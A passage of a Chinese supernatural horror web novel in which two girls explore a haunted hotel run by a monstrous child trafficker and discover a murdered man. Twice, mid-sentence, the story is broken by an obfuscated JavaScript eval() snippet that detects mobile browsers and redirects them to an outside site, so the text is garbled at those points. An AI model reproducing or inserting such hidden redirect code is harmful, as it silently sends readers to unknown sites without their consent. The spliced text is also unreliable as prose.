周一变了脸色,目光如炬:“你知道什么?” “猜的,”舒司鸢不客气地说,“不然你早就跑了吧。” 周一没有说话,只是笑了笑,笑容有些阴暗。 “离单阿姨来还有一段时间,有三个房间我必须要去看看。”舒司鸢冲她伸出手,“钥匙给我。” 周一还是没说话,她保持着坐着的姿势没动,用行动给出拒绝的回答。 房客都是买家,舒司鸢在走廊上乱跑乱敲门,保不齐就被买家捅到单阿姨哪里去了。况且,就算他们不说,单阿姨也有一定概率出房间,撞上也是完蛋。 不管哪种情况,她们接下来都会面临加重的监管与加固的牢笼。人数越来越少,说不定单阿姨会和她们住一个房间,还省钱。 周一看傻子一样看着她。这小孩不仅说话老气横秋的,脑子也不好使。 “那我就向单阿姨告发你,你私藏钥匙,想要逃跑。”舒司鸢威胁道。 “那你就去说吧,我会把你也拉下水的。”周一冷笑。 “是吗?那你就去说吧。”舒司鸢满不在乎地回敬她,之后便不再作声了。 无声的对峙里,周一猛然意识到她的嚣张底气源于何处。 舒司鸢无论有没有做出逃跑的实际行为,单阿姨就只会睁一只眼闭一只眼,因为她能卖出一个高价。最多把她痛打一顿,然后尽快脱手。 可是一旦单阿姨发觉周一身上有钥匙,面对一个吃它白饭的累赘,打死她都算最轻松的死法。 单阿姨看她的目光已经越来越不耐。周一知道那些卖不出去的年龄大些的女孩子会被它便宜处理掉,她浑身战栗一下。 “你拿着吧,别还给我了。”周一把钥匙丢给她,像丢出一块烫手的山芋。 舒司鸢如愿以偿,问黄铃珑要不要和她一起去。 黄铃珑自然要跟着她。不说别的,在这没窗户的房间里关了一天一夜,她憋得慌。 她俩在周一阴沉的目光中推门离开。 走廊上静悄悄的,发出稍微一点响动便会被无限放大。黄铃珑压着嗓子问道:“先从哪个房间开始查起?” 舒司鸢竖起一根手指。黄铃珑了然,两人猫着身子靠近201,脚步声仿佛被地板吸走,一点声音都未曾漏出来。 直到她们到了门口,不得不抬手敲门,弄出不大不小的声响。 201是穿着红色鱼尾裙女人的房间。舒司鸢第一个找上她,因为她是她唯一确定仍是人类的人。 门把手被拧着转动小半圈,三个人彼此相视。 鱼尾裙女人就站在门后,她的脸色仍然枯黄,却焕发着一种奇异的生机。 “什么事?”她语气带着被打断的不满,突然一顿,她蹲下身,浑浊的双眼在舒司鸢和黄铃珑身上移来移去,兴奋地叫道,“哦,是你们!” “你们终于来了。”鱼尾裙女人的气息洒在她们脸上,留下一句蛊惑的耳语。 她起身,旁若无人地回到原位,继续手头未完的事打。门没关,让她们自己进来。 舒司鸢跟在她身后,“你怎么认出来的?” 她坐到画架前,对着眼前的空白的纸说:“我能看清灵魂。” 舒司鸢看她也不动笔,光是如同雕塑般静坐着,便好奇地问道:“你怎么不画?” “我在等待,”她拣起一支摆在桌上的笔,“等待灵感来临的时候。” 舒司鸢本想看看能不能从她的画里得到些提示。谁知鱼尾裙女人就这么一直拿着笔,笔尖冲着白纸,却好一会儿不曾落下。 舒司鸢只好打量起她的房间。在电话世界里,这里到是整齐不少,散落一地的画纸和地上的颜料都不见了,变得很是正常。 把房间里的布置都记在心里,她的目光落回鱼尾裙女人身上。这时,鱼尾裙女人开口了。 “看完了就走吧,”鱼尾裙女人下了逐客令,冷冰冰地说,“我要开始了。” 鱼尾裙女人不理她们,继续待在这里也是于事无补,索性如鱼尾裙女人的意,轻手轻脚地出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16339267|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了。 “她怎么又对我们这么冷淡了?”舒司鸢刚关上门,黄铃珑就忍不住吐槽道。 “她觉得画画比我们更有意思吧。”舒司鸢也在奇怪鱼尾裙女人的话。 但时间紧迫,容不得她们仔细思考。两人马不停蹄前往203。 这是那个化出实体的小男孩的房间。黄铃珑小声说:“不知道在电话世界里,他会是什么样的。” 她不免地感到犹豫。小男孩虽然在上一次见面时,没表现出过要害人的意思,但毕竟是个非人生物。 门往后开了条小缝,邀请她们进去。 舒司鸢不害怕,门开了她就进去。黄铃珑硬着头皮,跟在她身后走了进去。 房间内开着灯,如舒司鸢所料,里面没人。 或者说,用“看不见”这个词,要更确切一些。 她感到小男孩就站在她们面前,观察着她们下一步的动作。 舒司鸢在203没有停留太久,既然不能从小男孩那里问到点信息,这个房间便没什么探索的价值。 “去找周小苗吧。”她随意看了两圈,都是些原本就有的家具。 207房间,是周小苗来给她们开的门。电钻般的呼噜声同她一块登场。 周小苗发现是之前一起玩过的伙伴,又圆又大的眼睛在红红的眼圈里弯起,正想叫她们,末了想起什么,小手在嘴边做了个拉拉链的动作。 舒司鸢也把手举到嘴边,画了一条横线,表示自己明白她的意思,会保持安静。 她们踮脚进入黑暗的207。 光头大叔平躺在床上睡觉,发出震天的鼾声,圆滚的肚子时鼓时收。 周小苗看了会,见他没被吵醒,便放松下来,拉着舒司鸢和黄铃珑就要说话。 门外倏地响起第二道敲门声。 谁会来找光头大叔? 舒司鸢瞬间猜到来者是谁,身体与大脑同时作出反应,她一手拉一个,拽开橱柜,三人滚进柜子里。 舒司鸢爬起去关柜门,一道巨响透过门传进柜子里。 那是斧头劈砍在木门上的声音。 一下,两下,三下…… 单阿姨每砍一下,周小苗的眼泪就漫出几滴。 忽然,她的手被人握住了,有人为她轻轻地擦去了眼泪。 “小苗,”舒司鸢的声音在黑暗中响起,“别害怕。” 周小苗一听到安慰的话,泪水流得更凶了。她听声辩位,把头靠在舒司鸢的肩膀上。 下一秒,她就听到舒司鸢毫不留情地说:“你得出去。” 周小苗抽抽搭搭:“我挤到你了吗……” “没有,不是这个原因。”舒司鸢感到周小苗离她远了一点,但柜内空间有限,周小苗温暖的体温还是传递过来。 “外面的是单阿姨。”舒司鸢留意着单阿姨砍门的速度,怕它马上进来,语速稍稍加快。 “我和这个姐姐是偷偷跑出来的,”舒司鸢指了一下黄铃珑,“如果被单阿姨发现了……” 她话还没说完,周小苗就边打哭嗝边开口了:“你们会被打死的。” “但你不是,它是来带你回去的。”舒司鸢搭上她抖动不已的肩膀,“你不会有事。” 柜子里漆黑一片,什么也看不到。她却依旧认真地望着周小苗,“我保证,会来找你。” “拉钩。”周小苗伸出小手指,舒司鸢和她拉钩。 周小苗又要求和黄铃珑拉钩,黄铃珑照做,还抱了抱她。 周小苗打开柜子爬出去,合上柜门之前,她请求道:“你们一定要带我一起回家。” 她像是怕被拒绝,说完便关上了柜门。 舒司鸢看着那具小小的身体消失在视线中,既庆幸又难过。 或许周小苗冥冥之中有所预感,舒司鸢会如她承诺的那样来把她从单阿姨身边带走,却无法带她回家。 柜子外,单阿姨劈下最后一斧,从门上的大洞中钻了进来。 16. 透明的房客8 柜子里的空间宽敞许多,舒司鸢调整一下姿势。忽然传来一记令人牙酸的咯吱声,她身体顿时僵在半空保持不动,凝神聆听,那声音却已经停止了。 对面208的门打开又关上,周小苗细微的抽泣声便听不到了。宾馆二楼重又安静下来,连光头大叔的呼噜声都消失了。 然而平静并没有维持太久。单阿姨一进门便发现屋内空空如也,一个孩子也没有。 暴怒之下,它的身体骤然膨胀几倍,从枯木般的身躯中长出四根肢体,像是多出一对手脚。新的肢体无处安放,便攀到墙壁上,吸附着墙面。 周小苗被它推了一把,摔在地板上,膝盖擦破了皮,渗出点点血珠。疼痛让她不由得倒吸了口气,又连忙用手捂住嘴巴,竭力让自己不要引起单阿姨的注意。 单阿姨的手和脚缓缓拉长,蠕动着覆盖到每一件家具上,拖出一条焦黑的痕迹。其中一只新长出来的手抓住了浴室的门把手。 那只手一转,露出里面三个抱在一起瑟瑟发抖的孩子。 单阿姨把她们拖出来,卷到鼻子下,喷着粗气问道:“另外两个呢?” 它嘴里尽是一种纸张腐烂发霉的怪味,周一定了定心神,把锅全部推到舒司鸢身上:“不知道。她们把我们锁在浴室里了。不过,我听到她们用钥匙开门的声音了。” 单阿姨拉开浴室门,一直插着钥匙的浴室门把手此刻空空荡荡。 但它仍未打消心里的狐疑,用手又把浴室里里外外检查了一遍,确认钥匙也没被藏在浴室里之后,才拉上了房门,把她们全部赶到角落里去。 四个女孩子小鸡崽似的紧紧挨着,单阿姨牢牢直视她们,目光如同在肉铺上挑选一块合乎心意的生肉。 它这回出来没带鞭子,只带上了一把斧头,毕竟此行的目的是杀了那个买走周小苗的人,把周小苗带回来。 八根手脚猛然伸到女孩子们面前,即将触上她们的面庞时却又收住,狂乱地飞舞一阵,不小心接住几颗滚落的眼泪,霎时便嫌弃地抖动几下,飞回了单阿姨的身体。 它用那幅惯常的压迫模样,庞大的身躯在沉默之中伫立着,牢牢注目她们。 被盯得久了,仿佛会无端生出一股错觉来——无论身处何方,都是它目之所及之处。 单阿姨用不着转身,它把脸换到脑后,占据一整面墙的身体如同随意揉动的面团般,弹性十足地从门中挤了出去。 一出门,它便急不可待地奔到第一间房,它要从头到尾搜查一遍。 等它找到那两个竟敢逃跑的赔钱货,在把她们卖出去之前,一定要先用鞭子把她们打得皮开肉绽! 它离开得太着急了,没注意到对面207里,那个正对着门的橱柜正被人开了一条小缝,里面躲藏的人借着走廊上漏进来的灯光,将它的举动看了个一清二楚。 眼见单阿姨走远,舒司鸢打开柜门,正要出来,一股浓重的血腥味扑鼻而来,侵占满橱柜的空间。 结合方才单阿姨砸门时便离奇消失的呼噜声,她心里忽地浮上一个荒诞的念头。 她抓紧时间钻出去,朝光头大叔躺着的床看过去。 光头大叔不知何时被裹进了被窝里,薄薄的被子从头盖到脚,依稀描摹出他的轮廓,脖颈处奇怪地高高顶起。 舒司鸢上前掀开被子。 光头大叔死水般的两眼呆愣愣地瞪着天花板,眼中无一丝光彩。脆弱的喉管被割开,脖子处插着单阿姨那把斧头,七零八落的尸块下洇开一大滩血迹。 黄铃珑也嗅到了血腥味,小跑过来看。 “他死了。”舒司鸢手松开,被子掉在光头大叔脸上,挡住了他可怖的死状。 黄铃珑一愣,旋即明白了她的意思,自己动手又把被子整个掀开了,“这个没事。我只害怕那些怪物。” 黄铃珑在“棱镜”里学到过一些基础的验尸知识。她爬到床头柜上,好看清光头大叔的全貌。 “他刚死不久,”黄铃珑观察着尸块的断面,“切得一点也不整齐,刚才那阵嘎吱嘎吱的响声不会就是……” 说完,她又自行小声反驳道:“可是要把人砍成这副样子,动静不会小,我们怎么可能一点都没察觉到。” 就算她们在橱柜里什么也听不到,那周小苗也该有所反应才是。这么血腥的行凶现场,周小苗肯定能哭得把屋顶都掀了。 但她却安安静静地和单阿姨走了。 “你还记得光头大叔退房的事吗?”舒司鸢按了按光头大叔的手臂,“我在想会不会是……” “我们在‘域’里和电话世界里见到的他,早就已经是个死人了?” 因为他早就死了,所以他才会透明化得那么快。她们之前在“域”中感到奇怪的问题,此刻终于有了解答。 黄铃珑起了一层鸡皮疙瘩,也不看了,默默用被子盖住光头大叔,说:“要是单阿姨怕他把自己买卖人口的事情败露出去,在火灾前就把他杀了的话……” 那么光头大叔就很有可能在火灾之后形成的‘域’里死而复生,因为他曾在小孩子们面前露过面。 他以十分强硬的态度提出买下周小苗,甚至或许在私下里暗中威胁过单阿姨,如果它不把他女儿的朋友交给他,他就要去报警揭发它。 于是,他得到了周小苗。 一个居然可以让单阿姨都乖乖听话的人,毫不意外会被孩子们牢牢记住。 至此,舒司鸢大致拼凑出光头大叔的行为轨迹。 他曾经也是个人贩子,直到女儿出生后。他害怕有一天报应会降临到他身上,便从此金盆洗手。 但他从来没能忘记从前。每逢女儿生日,他望着那张被蜡烛照亮的小脸,竟然会不自觉地估算起她的卖价。 心里的那串数字让他心惊肉跳,失去女儿的恐惧与偷盗其他孩子的愧疚交织在一起,终于在某一天爆发了。 女儿哭着告诉他,她的好朋友周小苗好几天没来上学,她失踪了。 那下一个呢?会不会就是她? 光头大叔几近崩溃。他明白周家村以及沿途所有隐秘的地点,立刻动身,一路顺藤摸瓜,找到了周小苗。 再后来发生的事情,就是她们现在眼前看到的模样。 舒司鸢若有所思地望着破了个大洞的门。现实里光头大叔应该没被砍得这么惨,这个房间里发生的事,创作者只有周小苗一个。 她结合了家人从小讲到大的吓人故事,自身充分加以艺术发挥。好在她没亲眼见过杀人的情形,脑补不出具体的细节,方才单阿姨砍人才没闹出什么动静。 一想到自己还进了光头大叔的房间放过蜡烛,黄铃珑后知后觉地眼前一黑。 207房间不再具有意义,舒司鸢和黄铃珑趁着单阿姨进到一间屋子里时,跑出去打开了208的房门。 二楼不过十个房间,单阿姨动作又极快。舒司鸢闯入208,对着吓了一跳的女孩子们一口气不停地说:“再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351421|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待一会马上来接你们。” 她本来想着在单阿姨送饭之前回去,没想到单阿姨会来杀人灭口,直接发现她俩不见了,果然干这一行的就是心狠又歹毒。 舒司鸢担心周一她们受到自己的牵连,便开门来看看,此刻看到她们好端端地坐在地上,丢下一句让她们等着的话便关上了门。 她还没找到出口,带着这么多人行动无异于找死。 “你……”周一刚开了个头,却见对方进来又出去,转手把门锁上了。 单阿姨快要出来了,她们退回207。 “难道出口在210?”黄铃珑猜测道。 210是单阿姨住的房间,周一之前告诉过她们。 这一猜测有理有据,只不过孩子们都能把单阿姨想象成这么一个乌漆嘛黑的怪东西了,她住的房间肯定更是危机重重。 不过眼下她们毫无头绪,也只有这么一种可能的方法可以试试了。 黄铃珑提议道:“那我们等它进到房间里的时候,下楼去拿210房间的钥匙。” 这方法很危险,她们要尽可能无声无息地快速跑完两趟走廊,期间要躲避随时会出房间的单阿姨。而且单阿姨进房间搜查时,房门都是完全打开的。 她们经过这扇打开的房门时,说不定会倒霉地和单阿姨对视上。 那样她最好不要带上黄铃珑,自己一个人去一楼拿钥匙。 舒司鸢用目光测量着走廊的长度,计算按照她们现在的速度,最快需要多长时间才能跑完。这时她才发现,单阿姨的身影许久未在走廊上出现——它进了203后一直没有出来。 203……是小男孩在给她们拖延时间! “我下去,你在这等着。”舒司鸢扭头对黄铃珑说,然后冲了出去。 路过203时,她紧张地偏头瞥了一眼——门虚掩上了,阻隔了单阿姨的视线。 她松了口气,脚步未停,视线跟着移动的身体移到旁边的201上。 “201”三个数字从她眼前平滑而过,鱼尾裙女人的形象随之出现,接着她一并想起了她曾说过的话。回忆翻到某一句时,舒司鸢停了下来。 她说:“我在等待。” 而且她等待的东西马上就要来临了。想起她坐在画架前拿着画笔却迟迟未动的姿势,舒司鸢掉了个头,往回跑去。 她在等待的东西,也是她们要等待的。 黄铃珑见舒司鸢风风火火跑出去,又风风火火地跑回来了,不由得不解地问道:“怎么了?” 用小孩子的身体来回冲刺了两趟,舒司鸢直喘气,回答的两个字淹没在沉重的呼吸里。 “火灾。”她匀过气来,重复一遍那两个字,“出口在着火时才会出现。” 黄铃珑愣了两秒,还没想通其中关键,已经先顺着她的话问下去了:“等谁点火啊?” “等那个手上有蜡烛的人。”舒司鸢也在脑海中逐一排查人选,“不对,是身上带着火柴或者打火机的人。” 突然,她抬起头,直视黄铃珑,“你给光头大叔送蜡烛的时候,只给了他蜡烛是吗?” 黄铃珑也明白过来了,连忙点头,“是。我当时太心急了。况且火柴那么小一根,我就给忘了。” 她们马上去翻光头大叔的衣服口袋,果然在他的裤口袋里发现了一个外壳满是划痕的打火机。 然而还没等伸手去拿,便听背后传来一道阴恻恻的声音:“你们在这啊。”